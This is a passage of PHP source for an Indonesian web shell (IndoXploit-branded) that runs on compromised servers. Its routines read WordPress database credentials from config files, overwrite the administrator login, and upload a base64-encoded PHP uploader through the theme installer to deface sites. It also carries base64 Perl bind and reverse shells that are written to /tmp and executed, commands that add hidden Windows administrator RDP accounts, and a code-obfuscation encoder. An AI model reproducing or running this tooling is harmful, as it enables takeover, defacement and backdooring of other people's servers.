  2015.                    "wp-submit" => "$wp_submit",
  2016.                    "redirect_to" => "$web",
  2017.                    "testcookie" => "1",
  2018.                    );
  2019.             $ch = curl_init($cek);
  2020.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2021.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2022.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2023.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2024.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2025.                   curl_setopt($ch, CURLOPT_POST, 1);
  2026.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  2027.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2028.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2029.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2030.             $data = curl_exec($ch);
  2031.                   curl_close($ch);
  2032.             return $data;
  2033.         }
  2034.         $scan = $_POST['link_config'];
  2035.         $link_config = scandir($scan);
  2036.         $script = htmlspecialchars($_POST['script']);
  2037.         $user = "indoxploit";
  2038.         $pass = "indoxploit";
  2039.         $passx = md5($pass);
  2040.         foreach($link_config as $dir_config) {
  2041.             if(!is_file("$scan/$dir_config")) continue;
  2042.             $config = file_get_contents("$scan/$dir_config");
  2043.             if(preg_match("/WordPress/", $config)) {
  2044.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  2045.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  2046.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2047.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  2048.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  2049.                 $prefix = $dbprefix."users";
  2050.                 $option = $dbprefix."options";
  2051.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2052.                 $db = mysql_select_db($dbname);
  2053.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2054.                 $result = mysql_fetch_array($q);
  2055.                 $id = $result[ID];
  2056.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2057.                 $result2 = mysql_fetch_array($q2);
  2058.                 $target = $result2[option_value];
  2059.                 if($target == '') {                
  2060.                     echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2061.                 } else {
  2062.                     echo "[+] $target <br>";
  2063.                 }
  2064.                 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2065.                 if(!$conn OR !$db OR !$update) {
  2066.                     echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2067.                     mysql_close($conn);
  2068.                 } else {
  2069.                     $site = "$target/wp-login.php";
  2070.                     $site2 = "$target/wp-admin/theme-install.php?upload";
  2071.                     $b1 = anucurl($site2);
  2072.                     $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2073.                     $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2074.                     $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  2075.                     $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2076.                     $www = "m.php";
  2077.                     $fp5 = fopen($www,"w");
  2078.                     fputs($fp5,$upload3);
  2079.                     $post2 = array(
  2080.                             "_wpnonce" => "$anu2",
  2081.                             "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2082.                             "themezip" => "@$www",
  2083.                             "install-theme-submit" => "Install Now",
  2084.                             );
  2085.                     $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2086.                           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2087.                           curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2088.                           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2089.                           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2090.                           curl_setopt($ch, CURLOPT_POST, 1);
  2091.                           curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2092.                           curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2093.                           curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2094.                           curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2095.                     $data3 = curl_exec($ch);
  2096.                           curl_close($ch);
  2097.                     $y = date("Y");
  2098.                     $m = date("m");
  2099.                     $namafile = "id.php";
  2100.                     $fpi = fopen($namafile,"w");
  2101.                     fputs($fpi,$script);
  2102.                     $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2103.                            curl_setopt($ch6, CURLOPT_POST, true);
  2104.                            curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2105.                            curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2106.                            curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2107.                            curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2108.                            curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  2109.                     $postResult = curl_exec($ch6);
  2110.                            curl_close($ch6);
  2111.                     $as = "$target/k.php";
  2112.                     $bs = anucurl($as);
  2113.                     if(preg_match("#$script#is", $bs)) {
  2114.                         echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  2115.                         echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2116.                         } else {
  2117.                         echo "[-] <font color='red'>gagal mepes...</font><br>";
  2118.                         echo "[!!] coba aja manual: <br>";
  2119.                         echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2120.                         echo "[+] username: <font color=lime>$user</font><br>";
  2121.                         echo "[+] password: <font color=lime>$pass</font><br><br>";    
  2122.                         }
  2123.                     mysql_close($conn);
  2124.                 }
  2125.             }
  2126.         }
  2127.     } else {
  2128.         echo "<center><h1>WordPress Auto Deface</h1>
  2129.         <form method='post'>
  2130.         <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
  2131.         <input type='text' name='script' height='10' size='50' placeholder='TOucH by 99Syndicate' required><br>
  2132.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  2133.         </form>
  2134.         <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  2135.         </center>";
  2136.     }
  2137. } elseif($_GET['do'] == 'auto_dwp2') {
  2138.     if($_POST['auto_deface_wp']) {
  2139.         function anucurl($sites) {
  2140.             $ch = curl_init($sites);
  2141.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2142.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2143.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2144.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  2145.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2146.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2147.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2148.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2149.                   curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  2150.             $data = curl_exec($ch);
  2151.                   curl_close($ch);
  2152.             return $data;
  2153.         }
  2154.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  2155.             $post = array(
  2156.                    "log" => "$userr",
  2157.                    "pwd" => "$pass",
  2158.                    "rememberme" => "forever",
  2159.                    "wp-submit" => "$wp_submit",
  2160.                    "redirect_to" => "$web",
  2161.                    "testcookie" => "1",
  2162.                    );
  2163.             $ch = curl_init($cek);
  2164.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2165.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2166.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2167.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2168.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2169.                   curl_setopt($ch, CURLOPT_POST, 1);
  2170.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  2171.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2172.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2173.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2174.             $data = curl_exec($ch);
  2175.                   curl_close($ch);
  2176.             return $data;
  2177.         }
  2178.         $link = explode("\r\n", $_POST['link']);
  2179.         $script = htmlspecialchars($_POST['script']);
  2180.         $user = "indoxploit";
  2181.         $pass = "indoxploit";
  2182.         $passx = md5($pass);
  2183.         foreach($link as $dir_config) {
  2184.             $config = anucurl($dir_config);
  2185.             $dbhost = ambilkata($config,"DB_HOST', '","'");
  2186.             $dbuser = ambilkata($config,"DB_USER', '","'");
  2187.             $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2188.             $dbname = ambilkata($config,"DB_NAME', '","'");
  2189.             $dbprefix = ambilkata($config,"table_prefix  = '","'");
  2190.             $prefix = $dbprefix."users";
  2191.             $option = $dbprefix."options";
  2192.             $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2193.             $db = mysql_select_db($dbname);
  2194.             $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2195.             $result = mysql_fetch_array($q);
  2196.             $id = $result[ID];
  2197.             $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2198.             $result2 = mysql_fetch_array($q2);
  2199.             $target = $result2[option_value];
  2200.             if($target == '') {                
  2201.                 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2202.             } else {
  2203.                 echo "[+] $target <br>";
  2204.             }
  2205.             $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2206.             if(!$conn OR !$db OR !$update) {
  2207.                 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2208.                 mysql_close($conn);
  2209.             } else {
  2210.                 $site = "$target/wp-login.php";
  2211.                 $site2 = "$target/wp-admin/theme-install.php?upload";
  2212.                 $b1 = anucurl($site2);
  2213.                 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2214.                 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2215.                 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  2216.                 $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2217.                 $www = "m.php";
  2218.                 $fp5 = fopen($www,"w");
  2219.                 fputs($fp5,$upload3);
  2220.                 $post2 = array(
  2221.                         "_wpnonce" => "$anu2",
  2222.                         "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2223.                         "themezip" => "@$www",
  2224.                         "install-theme-submit" => "Install Now",
  2225.                         );
  2226.                 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2227.                       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2228.                       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2229.                       curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2230.                       curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2231.                       curl_setopt($ch, CURLOPT_POST, 1);
  2232.                       curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2233.                       curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2234.                       curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2235.                       curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2236.                 $data3 = curl_exec($ch);
  2237.                       curl_close($ch);
  2238.                 $y = date("Y");
  2239.                 $m = date("m");
  2240.                 $namafile = "id.php";
  2241.                 $fpi = fopen($namafile,"w");
  2242.                 fputs($fpi,$script);
  2243.                 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2244.                        curl_setopt($ch6, CURLOPT_POST, true);
  2245.                        curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2246.                        curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2247.                        curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2248.                        curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2249.                        curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
  2250.                 $postResult = curl_exec($ch6);
  2251.                        curl_close($ch6);
  2252.                 $as = "$target/k.php";
  2253.                 $bs = anucurl($as);
  2254.                 if(preg_match("#$script#is", $bs)) {
  2255.                     echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  2256.                     echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2257.                     } else {
  2258.                     echo "[-] <font color='red'>gagal mepes...</font><br>";
  2259.                     echo "[!!] coba aja manual: <br>";
  2260.                     echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2261.                     echo "[+] username: <font color=lime>$user</font><br>";
  2262.                     echo "[+] password: <font color=lime>$pass</font><br><br>";    
  2263.                     }
  2264.                 mysql_close($conn);
  2265.             }
  2266.         }
  2267.     } else {
  2268.         echo "<center><h1>WordPress Auto Deface V.2</h1>
  2269.         <form method='post'>
  2270.         Link Config: <br>
  2271.         <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  2272.         <input type='text' name='script' height='10' size='50' placeholder='Hacked by 99Syndicate' required><br>
  2273.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  2274.         </form></center>";
  2275.     }
  2276. } elseif($_GET['do'] == 'network') {
  2277.     echo "<form method='post'>
  2278.     <u>Bind Port:</u> <br>
  2279.     PORT: <input type='text' placeholder='port' name='port_bind' value='6969'>
  2280.     <input type='submit' name='sub_bp' value='>>'>
  2281.     </form>
  2282.     <form method='post'>
  2283.     <u>Back Connect:</u> <br>
  2284.     Server: <input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'>&nbsp;&nbsp;
  2285.     PORT: <input type='text' placeholder='port' name='port_bc' value='6969'>
  2286.     <input type='submit' name='sub_bc' value='>>'>
  2287.     </form>";
  2288.     $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  2289.     if(isset($_POST['sub_bp'])) {
  2290.         $f_bp = fopen("/tmp/bp.pl", "w");
  2291.         fwrite($f_bp, base64_decode($bind_port_p));
  2292.         fclose($f_bp);
  2293.  
  2294.         $port = $_POST['port_bind'];
  2295.         $out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
  2296.         sleep(1);
  2297.         echo "<pre>".$out."\n".exe("ps aux | grep bp.pl")."</pre>";
  2298.         unlink("/tmp/bp.pl");
  2299.     }
  2300.     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  2301.     if(isset($_POST['sub_bc'])) {
  2302.         $f_bc = fopen("/tmp/bc.pl", "w");
  2303.         fwrite($f_bc, base64_decode($bind_connect_p));
  2304.         fclose($f_bc);
  2305.  
  2306.         $ipbc = $_POST['ip_bc'];
  2307.         $port = $_POST['port_bc'];
  2308.         $out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
  2309.         sleep(1);
  2310.         echo "<pre>".$out."\n".exe("ps aux | grep bc.pl")."</pre>";
  2311.         unlink("/tmp/bc.pl");
  2312.     }
  2313. } elseif($_GET['do'] == 'krdp_shell') {
  2314.     if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
  2315.         if($_POST['create']) {
  2316.             $user = htmlspecialchars($_POST['user']);
  2317.             $pass = htmlspecialchars($_POST['pass']);
  2318.             if(preg_match("/$user/", exe("net user"))) {
  2319.                 echo "[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font>";
  2320.             } else {
  2321.                 $add_user   = exe("net user $user $pass /add");
  2322.                 $add_groups1 = exe("net localgroup Administrators $user /add");
  2323.                 $add_groups2 = exe("net localgroup Administrator $user /add");
  2324.                 $add_groups3 = exe("net localgroup Administrateur $user /add");
  2325.                 echo "[ RDP ACCOUNT INFO ]<br>
  2326.                 ------------------------------<br>
  2327.                 IP: <font color=lime>".$ip."</font><br>
  2328.                 Username: <font color=lime>$user</font><br>
  2329.                 Password: <font color=lime>$pass</font><br>
  2330.                 ------------------------------<br><br>
  2331.                 [ STATUS ]<br>
  2332.                 ------------------------------<br>
  2333.                 ";
  2334.                 if($add_user) {
  2335.                     echo "[add user] -> <font color='lime'>Berhasil</font><br>";
  2336.                 } else {
  2337.                     echo "[add user] -> <font color='red'>Gagal</font><br>";
  2338.                 }
  2339.                 if($add_groups1) {
  2340.                     echo "[add localgroup Administrators] -> <font color='lime'>Berhasil</font><br>";
  2341.                 } elseif($add_groups2) {
  2342.                     echo "[add localgroup Administrator] -> <font color='lime'>Berhasil</font><br>";
  2343.                 } elseif($add_groups3) {
  2344.                     echo "[add localgroup Administrateur] -> <font color='lime'>Berhasil</font><br>";
  2345.                 } else {
  2346.                     echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
  2347.                 }
  2348.                 echo "------------------------------<br>";
  2349.             }
  2350.         } elseif($_POST['s_opsi']) {
  2351.             $user = htmlspecialchars($_POST['r_user']);
  2352.             if($_POST['opsi'] == '1') {
  2353.                 $cek = exe("net user $user");
  2354.                 echo "Checking username <font color=lime>$user</font> ....... ";
  2355.                 if(preg_match("/$user/", $cek)) {
  2356.                     echo "[ <font color=lime>Sudah ada</font> ]<br>
  2357.                     ------------------------------<br><br>
  2358.                     <pre>$cek</pre>";
  2359.                 } else {
  2360.                     echo "[ <font color=red>belum ada</font> ]";
  2361.                 }
  2362.             } elseif($_POST['opsi'] == '2') {
  2363.                 $cek = exe("net user $user indoxploit");
  2364.                 if(preg_match("/$user/", exe("net user"))) {
  2365.                     echo "[change password: <font color=lime>indoxploit</font>] -> ";
  2366.                     if($cek) {
  2367.                         echo "<font color=lime>Berhasil</font>";
  2368.                     } else {
  2369.                         echo "<font color=red>Gagal</font>";
  2370.                     }
  2371.                 } else {
  2372.                     echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
  2373.                 }
  2374.             } elseif($_POST['opsi'] == '3') {
  2375.                 $cek = exe("net user $user /DELETE");
  2376.                 if(preg_match("/$user/", exe("net user"))) {
  2377.                     echo "[remove user: <font color=lime>$user</font>] -> ";
  2378.                     if($cek) {
  2379.                         echo "<font color=lime>Berhasil</font>";
  2380.                     } else {
  2381.                         echo "<font color=red>Gagal</font>";
  2382.                     }
  2383.                 } else {
  2384.                     echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
  2385.                 }
  2386.             } else {
  2387.                 //
  2388.             }
  2389.         } else {
  2390.             echo "-- Create RDP --<br>
  2391.             <form method='post'>
  2392.             <input type='text' name='user' placeholder='username' value='indoxploit' required>
  2393.             <input type='text' name='pass' placeholder='password' value='indoxploit' required>
  2394.             <input type='submit' name='create' value='>>'>
  2395.             </form>
  2396.             -- Option --<br>
  2397.             <form method='post'>
  2398.             <input type='text' name='r_user' placeholder='username' required>
  2399.             <select name='opsi'>
  2400.             <option value='1'>Cek Username</option>
  2401.             <option value='2'>Ubah Password</option>
  2402.             <option value='3'>Hapus Username</option>
  2403.             </select>
  2404.             <input type='submit' name='s_opsi' value='>>'>
  2405.             </form>
  2406.             ";
  2407.         }
  2408.     } else {
  2409.         echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
  2410.     }
  2411. } elseif($_GET['act'] == 'newfile') {
  2412.     if($_POST['new_save_file']) {
  2413.         $newfile = htmlspecialchars($_POST['newfile']);
  2414.         $fopen = fopen($newfile, "a+");
  2415.         if($fopen) {
  2416.             $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  2417.         } else {
  2418.             $act = "<font color=red>permission denied</font>";
  2419.         }
  2420.     }
  2421.     echo $act;
  2422.     echo "<form method='post'>
  2423.     Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  2424.     <input type='submit' name='new_save_file' value='Submit'>
  2425.     </form>";
  2426. } elseif($_GET['act'] == 'newfolder') {
  2427.     if($_POST['new_save_folder']) {
  2428.         $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  2429.         if(!mkdir($new_folder)) {
  2430.             $act = "<font color=red>permission denied</font>";
  2431.         } else {
  2432.             $act = "<script>window.location='?dir=".$dir."';</script>";
  2433.         }
  2434.     }
  2435.     echo $act;
  2436.     echo "<form method='post'>
  2437.     Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  2438.     <input type='submit' name='new_save_folder' value='Submit'>
  2439.     </form>";
  2440. } elseif($_GET['act'] == 'rename_dir') {
  2441.     if($_POST['dir_rename']) {
  2442.         $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  2443.         if($dir_rename) {
  2444.             $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2445.         } else {
  2446.             $act = "<font color=red>permission denied</font>";
  2447.         }
  2448.     echo "".$act."<br>";
  2449.     }
  2450.     echo "<form method='post'>
  2451.     <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  2452.     <input type='submit' name='dir_rename' value='rename'>
  2453.     </form>";
  2454. } elseif($_GET['act'] == 'delete_dir') {
  2455.     if(is_dir($dir)) {
  2456.         if(is_writable($dir)) {
  2457.             @rmdir($dir);
  2458.             @exe("rm -rf $dir");
  2459.             @exe("rmdir /s /q $dir");
  2460.             $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2461.         } else {
  2462.             $act = "<font color=red>could not remove ".basename($dir)."</font>";
  2463.         }
  2464.     }
  2465.     echo $act;
  2466. } elseif($_GET['act'] == 'view') {
  2467.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2468.     echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  2469. } elseif($_GET['act'] == 'edit') {
  2470.     if($_POST['save']) {
  2471.         $save = file_put_contents($_GET['file'], $_POST['src']);
  2472.         if($save) {
  2473.             $act = "<font color=lime>Saved!</font>";
  2474.         } else {
  2475.             $act = "<font color=red>permission denied</font>";
  2476.         }
  2477.     echo "".$act."<br>";
  2478.     }
  2479.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2480.     echo "<form method='post'>
  2481.     <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  2482.     <input type='submit' value='Save' name='save' style='width: 500px;'>
  2483.     </form>";
  2484. } elseif($_GET['act'] == 'rename') {
  2485.     if($_POST['do_rename']) {
  2486.         $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  2487.         if($rename) {
  2488.             $act = "<script>window.location='?dir=".$dir."';</script>";
  2489.         } else {
  2490.             $act = "<font color=red>permission denied</font>";
  2491.         }
  2492.     echo "".$act."<br>";
  2493.     }
  2494.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2495.     echo "<form method='post'>
  2496.     <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  2497.     <input type='submit' name='do_rename' value='rename'>
  2498.     </form>";
  2499.     } elseif($_GET['do'] == 'string') {
  2500. $text = $_POST['code'];
  2501. ?><center><br><b>-=[ S c r i p t E n d c o d e]=-</b><br>
  2502. <form method="post"><br><br><br>
  2503. <textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
  2504. <select class='inputz' size="1" name="ope">
  2505. <option value="urlencode">url</option>
  2506. <option value="base64">Base64</option>
  2507. <option value="ur">convert_uu</option>
  2508. <option value="gzinflates">gzinflate - base64</option>
  2509. <option value="jancok">str_rot13 - base64_dcode</option>
  2510. <option value="gzinflate">str_rot13 - gzinflate - base64</option>
  2511. <option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
  2512. <option value="Pelo">gzinflate - str_rot13 - base64_decode</option>
  2513. <option value="url">base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
  2514. </select>&nbsp;<input class='inputzbut' type='submit' name='submit' value='Encode'>
  2515. </form>
  2516.  
  2517. <?php
  2518.     $submit = $_POST['submit'];
  2519.     if (isset($submit)) {
  2520.         $op = $_POST["ope"];
  2521.         switch ($op) {
  2522.             case 'base64':
  2523.                 $codi = base64_encode($text);
  2524.             break;
  2525.             case 'str':
